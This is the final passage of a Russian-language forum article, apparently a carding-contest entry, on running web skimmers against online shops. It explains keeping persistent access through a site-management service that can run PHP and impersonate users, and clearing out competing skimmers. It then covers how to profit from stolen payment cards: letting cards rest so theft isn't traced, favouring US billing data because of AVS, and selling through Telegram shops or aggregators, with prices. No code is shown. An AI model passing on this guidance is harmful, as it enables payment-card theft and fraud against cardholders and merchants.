Последний метод закрепа, о котором я знаю, о котором поведаю заключается в подключении сторонних сайтов, который так скажем являются агрегаторами и позволяют управлять сразу пачками. Мой фаворит - orion.managewp.com. В нём присутствует всё, прям всё, что нужно, можно делать что хочешь, авторизовываться как любой юзер, создавать юзера, загружать свои плагины, выполнять свой пхп-код, вкратце, то что нужно нам, прям огонь. Так же является одним из беспалевных методов, в случае если managewp уже был ранее установлен на сайте, можно жить припеваючи, а админы шопа даже не заметят неладное, хотя могут.
Уже неплохо так выходит, и слегка измотался, написав эту часть, но мы лишь закончили этап с методами закрепов, если у вас так же есть иные идеи, буду рад взять их на ум, и обсуждение.
Промежуточные выводы. Закрепились, выдохнули.
Давайте немного выдохнем и зафиксируем, на какой точке мы сейчас находимся. Мы с вами уже разобрали теоретическую базу, научились отличать годные шопы от мусорных, и самое главное, и рассмотрели методы закрепов, как втыкать иглу. Теперь у нас есть не просто доступ, а полноценный плацдарм с запасными ключами, скрытыми админами и бэкдорами на случай непредвиденных чисток. Казалось бы, жизнь удалась: сиди, пей чай, смотри на дату. Но... мы здесь не одни. Как часто бывает в дикой природе (и в вебе), на вкусное мясо слетаются не только вы. Представьте, вы заходите на шоп, проверяете свой сниффер, а там уже кто-то живет. Или, что еще хуже, кто-то пытается выселить вас. В следующем пункте разберемся, как понять что до нас уже кто-то доил шоп? Стоит ли играть в Робин Гуда и сносить чужие снифферы? Или может лучше "подружиться" (нет, не стоит)?
Cосед, соседушка, а ты точно мой друг? Практики всё меньше, и меньше..
Теперь поговорим о насущном, о проблеме общежития, или как мы их ласково называем - соседи. Залетая на шоп, особенно если он жирный и с хорошим трафиком, будьте готовы к тому, что вы там не одни такие умные, и часто бывает, открываешь файловый менеджер, а там в папке plugins уже лежит целый зоопарк из чужих шеллов, WSO, или SEO-спама. Тут стратегия у меня простая и достаточно агрессивная: если я вижу конкурента, который тоже пытается сниффать, или просто гадит на сервере так, что это привлечет внимание админа, я его выселяю без суда и следствия, потому что если спалят его топорный шелл, админ с перепугу снесет вообще всё, поменяет пароли, обновит ядро, и ваш филигранный закреп улетит в трубу вместе с его мусором. Обязательно проверяйте header, footer и скрипты на чекауте на наличие чужих инжектов, если видите чужой код - стирайте, если видите левых админов - удаляйте. По сути, вы делаете работу безопасника, вычищая конкурентов и оставляя только свою неприметную иглу, ведь это жестокий бизнес, и делить профит с кем-то, кто может запороть вам всю малину своей неаккуратностью, я не вижу смысла. Бывает, конечно, что сосед тихий, просто льет трафик или держит дорвеи, и сервер не грузит, таких можно и не трогать, пусть живут, но держите ухо востро, однако если речь идет о деньгах, тут каждый сам за себя, так что проводите зачистку, закрепляйтесь сами и становитесь единоличным владельцем шопа, так оно надежнее и спокойнее для вашего сна.
И, кстати, чтобы эффективно находить этих ребят, используйте те самые знания, которые я дал вам выше в этой статье. Помните, как мы прятали админов и маскировали код? Ваши конкуренты делают то же самое, так что проверяйте список пользователей на наличие скрытых учеток, смотрите файлы на предмет левых инжектов ровно там, куда бы вы сами их положили. Чтобы облегчить себе жизнь и не перерывать тонны кода глазами, настоятельно рекомендую скачать плагин String Locator, он просто незаменим в поиске всякого дерьма по конкретным строкам кода или сигнатурам. Практический пример работы String Locator ниже, очень помогает при выселении людей.
Cбыт, собираем сливки, и подходим к завершению.
Ну и переходим к самому сладкому, к тому, ради чего мы тут все и собрались, монетизация нашего труда, но тут есть один железный нюанс, о котором новички часто забывают: картам обязательно надо дать отлежаться, хотя бы недели две. Это критически важно, чтобы холдер не смог связать кражу денег с конкретной покупкой в магазине, где стоит наш сниффер, иначе шоп убьют моментально, а так мы размываем след и доим корову месяцами. Особое внимание уделяйте биллинг-инфе, особенно если работаете по США и Канаде, там этот мат ценится на вес золота, потому что у них транзакции проходят через сверку адреса (AVS), а не через подтверждение по смс (3DS), как в Европе, так что фулка там залетает на ура. Что касается самого сбыта, то тут два пути: пытаться торговать самому, создавать свой шоп в телеграме, профит будет весь ваш, но будьте готовы вливать кучу денег в рекламу, нарабатывать репутацию и возиться с поддержкой, что на старте может быть неподъемно, и трудно. Второй вариант, для ленивых, но не жадных, грузить мат на готовые агрегаторы, такие как Patrick или Castro, там вы вообще не паритесь за поиск клиента, просто залили и ждете выплату, но за этот комфорт придется отстегнуть конскую комиссию порядка 30-40% с каждой продажи, так что считайте математику сами, что вам выгоднее, терять время на раскрутку или терять процент на комиссии. Я лично торгую и тут, и там, сперва отдаю клиентам, что нужно из бинлиста, а потом уже заливаю это все дело на один из агрегаторов (big secret)... Цены всегда разные, и рынок очень сильно раздут по моему мнению, карты могут достигать ценой до 100$, что удивительно, но это зачастую бины, которые ролятся и так далее, а это уже не моя тематика, я не особо в этом плаваю, каржем я особо не занимался, и не разбираюсь, цены отсматривайте у конкурентов, но в среднем ~20$ за одну валидную Америку, и ~12 за Европу. Один из примеров селлеров ниже.
Заключение, и финальный аккорд в этой теме.
Вот и подошел к концу мой дебютный лонгрид. Надеюсь, вы не уснули в процессе и почерпнули для себя что-то новое о тихой охоте в мире онлайн-магазинов. Конечно, я прекрасно понимаю немой вопрос, который мог застыть у некоторых: "А где ссылка на скачивание самого сниффера? Где готовая панель?". Скажу прямо: я намеренно не стал выкладывать готовый инструмент и рабочий код на блюдечке с той самой золотой каёмочкой. Моей целью было дать вам удочку и карту рыбных мест, а не просто накормить рыбой на один раз. Сниффер - это понимание того, как работает веб, как проходят платежи и как устроены CMS. В этой статье я дал вам фундамент: логику работы, методы маскировки, способы выживания на шелле и пути монетизации. Если у вас есть желание, то собрать или найти панель, опираясь на эту информацию, не составит никакого труда. Гугл и профильные ресурсы никто не отменял, а умение искать информацию - главный навык в нашем деле. Разбирайтесь, тестируйте, и профит не заставит себя ждать. Спасибо всем, кто дочитал до конца. Желаю удачи другим участникам конкурса, уверен, конкуренция будет достойной. Если есть какие-либо вопросы, то с удовольствием отвечу.
(c) bezmyatezhnost
